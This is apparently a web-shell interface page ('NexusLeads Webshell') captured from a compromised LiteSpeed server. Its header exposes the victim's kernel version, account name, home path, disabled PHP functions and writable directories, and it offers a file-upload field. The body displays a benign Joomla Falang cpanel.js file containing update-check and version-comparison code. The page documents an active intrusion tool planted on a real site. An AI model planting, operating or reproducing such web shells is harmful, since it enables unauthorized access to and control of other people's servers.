NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/public_html/administrator/components/com_falang/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/public_html/administrator/components/com_falang/assets/js/cpanel.js
function checkPluginsUpdate(){
    var url = "https://www.faboba.com/update/falang/falangplugin_j3.json";
    jQuery.getJSON(url,function(){})
        .done(function(data){
            jQuery.each(data, function(key, val) {
                setDataByPlugin(key, val);
            });
        })
        .fail(function(){
            console.log('failure');
        })
}

function checkUpdates() {
    var url = "index.php?option=com_falang&task=cpanel.checkUpdates&format=raw&tmpl=component";
    var update = document.id("falang-update-progress").empty();
    update.set("html", "<span class='red'>"+progress_msg+"</span>");
    jQuery.getJSON(url,function(){})
        .done(function (data) {
            update.empty();
            updateUpdates(data);
        })
        .fail(function () {
            update.empty();
            updateUpdates('Server not responding for Updates check');
        })
}

function updateUpdates(response) {
    if (response.update == "true") {
        var lastversion = document.id("falang-last-version").empty();
        lastversion.set("html", "<span class='update-msg-new'> "+response.version+" </span><span class='update-msg-new'>"+response.message+"</span>");
    } else {
        //remove check button and put the version
        var lastversion = document.id("falang-last-version").empty();
        lastversion.set("html", response.version+" <span class='update-msg-info'>"+response.message+"</span>");
    }
}

function setDataByPlugin(extension, data){

    var tr = jQuery('tr#row_' + extension);

    if (!tr) {
        return;
    }

    var v_new = String(data['version']).trim();

    tr.find('.new_version').text(v_new);
    var v_current = tr.find('span.version').text().trim();
    if (v_current != null){
        // Current version is older than next_version
        var compare = compareVersions(v_current,v_new);
        if (compare == '<'){
            //display download link for new version
            tr.find('.new_version_link').show();
        }
    }
}

//compare version from regurlabs
function compareVersions (num1, num2) {
    num1 = num1.split('.');
    num2 = num2.split('.');

    var let1 = '';
    var let2 = '';

    var max = Math.max(num1.length, num2.length);
    for (var i = 0; i < max; i++) {
        if (typeof num1[i] === 'undefined') {
            num1[i] = '0';
        }
        if (typeof num2[i] === 'undefined') {
            num2[i] = '0';
        }

        let1    = num1[i].replace(/^[0-9]*(.*)/, '$1');
        num1[i] = parseInt(num1[i]);
        let2    = num2[i].replace(/^[0-9]*(.*)/, '$1');
        num2[i] = parseInt(num2[i]);

        if (num1[i] < num2[i]) {
            return '<';
        }

        if (num1[i] > num2[i]) {
            return '>';
        }
    }

    // numbers are same, so compare trailing letters
    if (let2 && (!let1 || let1 > let2)) {
        return '>';
    }

    if (let1 && (!let2 || let1 < let2)) {
        return '<';
    }

    return '=';
}

NexusLeads